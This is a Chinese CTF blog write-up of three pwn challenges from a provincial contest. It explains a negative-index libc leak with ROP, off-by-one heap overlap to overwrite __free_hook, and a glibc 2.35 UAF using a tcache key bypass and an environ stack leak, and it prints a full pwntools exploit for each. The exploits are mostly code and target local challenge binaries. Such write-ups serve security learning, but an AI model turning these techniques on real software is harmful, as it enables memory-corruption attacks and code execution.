打了下省赛 水一下博客 又是被带飞的一天
rop
主要函数就是一个输出一个输入函数
在输出函数中存在负数溢出 可以泄露出libc
这里我们可以负数溢出 这里rbp指向的是dac0所以a1其实是在rbp-0x60也就是dac0-0x60即da60
我们可以在这里泄露一下libc 可以利用puts+378这一行 这里是9f8距离a1相差0x68
所以我们输入-13后即可泄露出这块的地址 然后减去对应于libc的差值即可求出libc基址
那么同理这里输入也是可以改变栈的值 可以直接写rop a1此时是da60是位于rbp+0x10的位置,我们在这里写进bin_sh
后面再写进ret和system,然后输出把v2减回去 在rbp+0x8的地方写上rdi即可获得shell
刚开始看这题想着a1位置是rbp-0x60想着好像也没地方写,后面rbp的值也看错了 脑子真的是抽了wc
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import timefrom pwn import *from ctypes import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p=process('./pwn' ) u64_Nofix=lambda p:u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) u64_fix=lambda p:u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) u64_8bit=lambda p:u64(p.recv(8 )) elf=ELF('./pwn' ) libc = ELF('./libc-2.31.so' ) dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval (s))) def input (number ): p.sendlineafter('>>' ,str (1 )) p.sendlineafter("input your number:" ,str (number)) def output (index ): p.sendlineafter('>>' ,str (2 )) p.sendlineafter("index:" ,str (index)) p.recvuntil("number:\n" ) return int (p.recvline(keepends=False )) input (0 )libc.address = output(-13 ) - 0x8459a dir ("libc.address" )pop_rdi = 0x00401563 ret = 0x0040101a bin_sh = libc.search('/bin/sh' ).__next__() system = libc.sym['system' ] input (bin_sh)input (ret)input (system)output(-13 ) output(-13 ) output(-13 ) output(-13 ) input (pop_rdi)p.interactive()
one
这道题就是道常规的堆了
这里加1并且题目就叫one 直接就说明了是offbyone漏洞
没给libc我去看了第三题给的是2.35的结果发现这题的libc应该是2.27的也是搞了半天 结束后看了下学弟的wp是泄露libc然后确定的2.27还是太厉害了 2.27的话那其实就挺简单的进行堆块覆盖 然后泄露libc 然后泄露free为system 最后free一个binsh就行。这里就不多说了直接看exp就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import timefrom pwn import *from ctypes import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p=process('./pwn' ) u64_Nofix=lambda p:u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) u64_fix=lambda p:u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) u64_8bit=lambda p:u64(p.recv(8 )) elf=ELF('./pwn' ) dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval (s)))libc=ELF("./libc-2.27.so" ) p.recvuntil(b"Let me know if u are not a rebot." ) t=p.recvuntil(b"?" )[:-2 ] num=eval (t) p.sendline(str (num).encode()) def add (index,size,content ): p.sendlineafter('5.exit' ,'1' ) p.sendlineafter('the index of command?' ,str (index)) p.sendlineafter('the size of command?' ,str (size)) p.sendafter('the command?' ,content) def delete (index ): p.sendlineafter('5.exit' ,'2' ) p.sendlineafter('which one?' ,str (index)) def show (index ): p.sendlineafter('5.exit' ,'3' ) p.sendlineafter('which one?' ,str (index)) def edit (index,content ): p.sendlineafter('5.exit' ,'4' ) p.sendlineafter('which one?' ,str (index)) p.sendafter('what to change?' ,content) add(0 ,0x18 ,'a' ) add(1 ,0x418 ,'a' ) add(2 ,0x38 ,'a' ) add(3 ,0x38 ,'a' ) add(4 ,0x38 ,'a' ) add(5 ,0x428 ,'a' ) add(6 ,0x38 ,'a' ) delete(1 ) edit(0 ,b'a' *0x18 + p8(0xE1 )) edit(4 ,b'a' *0x30 + p64(0x4E0 )+p8(0x30 )) delete(5 ) add(7 ,0x418 ,'a' ) show(2 ) p.recvline() libc.address = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0x3ebca0 free_hook = libc.sym['__free_hook' ] add(8 ,0x400 ,'a' ) delete(4 ) delete(3 ) edit(8 ,b'a' * 0x30 +p64(0 ) +p64(0x40 ) +p64(free_hook)) add(3 ,0x30 ,'/bin/sh' ) add(4 ,0x30 ,p64(libc.sym['system' ])) delete(3 ) p.interactive()
一般来说 有这种offbyone漏洞的话改一下堆块头大小,里面再多包含些小堆块就会有很多的操作空间来获取shell
badheap
add函数限制了libc地址 所以打不了io
没置0 存在有uaf
首先先泄露下key 然后利用下unsortedbin泄露下libc 利用houseofbotcake也可以泄露 在我下一篇决赛里有写
然后申请大的堆块7覆写堆块8的fd指针指向要进行操作的地址
本题是2.35高版本的堆 又不能io 那么可以用environ泄露出栈地址 写rop链就可以了
所以先泄露栈地址
1 2 3 4 5 6 7 add(7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key)) add(8, 0x100, b"aaaa") add(11, 0x100, b"a" * 0x10) show(11) ru(b"a" * 0x10) stack = u64(rc(8)) - 0x148 VIO_TEXT(f"stack: {hex(stack)}")
rbp距离environ中保留的栈地址相差0x148 这就泄露到了rbp
然后相同操作接着覆写8堆块fd为栈地址 然后写入shellcode
1 2 3 4 5 6 7 payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr) delete(1) delete(8) delete(7) add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key)) # write in ret_addr to fd add(1,0x100,b"aaaa") add(8,0x100,b'a'*8+payload)
前8个字节覆盖了rbp 后面就是shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import *filename = "./pwn" libc_name = "./libc.so.6" arch = "amd64" context(log_level="debug" , os="linux" , arch=arch) def VIO_TEXT (x, code=95 ): return log.info(f"\x1b[{code} m{x} \x1b[0m" ) def CLEAR_TEXT (x, code=32 ): return log.success(f"\x1b[{code} m{x} \x1b[0m" ) io = process(filename) elf = ELF(filename) libc = ELF(libc_name) se = io.send sl = io.sendline sa = io.sendafter sla = io.sendlineafter slt = io.sendlinethen st = io.sendthen rc = io.recv rr = io.recvregex ru = io.recvuntil ra = io.recvall rl = io.recvline ia = io.interactive rls = io.recvline_startswith rle = io.recvline_endswith rlc = io.recvline_contains def cmd (idx ): sla(b"choice:\n" , str (idx).encode()) def add (idx, size, content ): cmd(1 ) sla(b"idx:\n" , str (idx).encode()) sla(b"size:\n" , str (size).encode()) sa(b"content:\n" , content) def delete (idx ): cmd(2 ) sla(b"idx:\n" , str (idx).encode()) def show (idx ): cmd(3 ) sla(b"idx:\n" , str (idx).encode()) for i in range (10 ): add(i, 0x100 , b"a" ) for i in range (7 ): delete(i) show(0 ) key = u64(rc(8 )) VIO_TEXT(f"key: {hex (key)} " ) delete(8 ) delete(7 ) show(7 ) libc.address = u64(rc(8 )) - 0x21ACE0 VIO_TEXT(f"libc.address: {hex (libc.address)} " ) for i in range (6 ): add(i, 0x100 , b"aaaa" ) add(7 , 0x120 , b"aaaa" ) add(10 , 0xE0 , b"aaaa" ) delete(0 ) delete(8 ) delete(7 ) VIO_TEXT(f"libc.sym['environ']: {hex (libc.sym['environ' ])} " ) add( 7 , 0x120 , b"\x00" * 0x108 + p64(0x111 ) + p64((libc.sym['environ' ] - 0x10 ) ^ key) ) add(8 , 0x100 , b"aaaa" ) add(11 , 0x100 , b"a" * 0x10 ) show(11 ) ru(b"a" * 0x10 ) stack = u64(rc(8 )) - 0x148 VIO_TEXT(f"stack: {hex (stack)} " ) system_addr = libc.sym['system' ] ret_addr = libc.address + 0x29139 binsh_addr = next (libc.search(b"/bin/sh\x00" )) pop_rdi = libc.address + 0x2A3E5 payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr) delete(1 ) delete(8 ) delete(7 ) add(7 , 0x120 , b"\x00" * 0x108 + p64(0x111 )+p64((stack) ^ key)) add(1 ,0x100 ,b"aaaa" ) add(8 ,0x100 ,b'a' *8 +payload) ia()
1 2 参考文章: https://nan0in27.cn/p/2025%E6%B5%99%E6%B1%9F%E7%9C%81%E7%BD%91%E7%BB%9C%E4%B8%8E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E9%A2%84%E8%B5%9Bpwn%E5%A4%8D%E7%9B%98/#pwn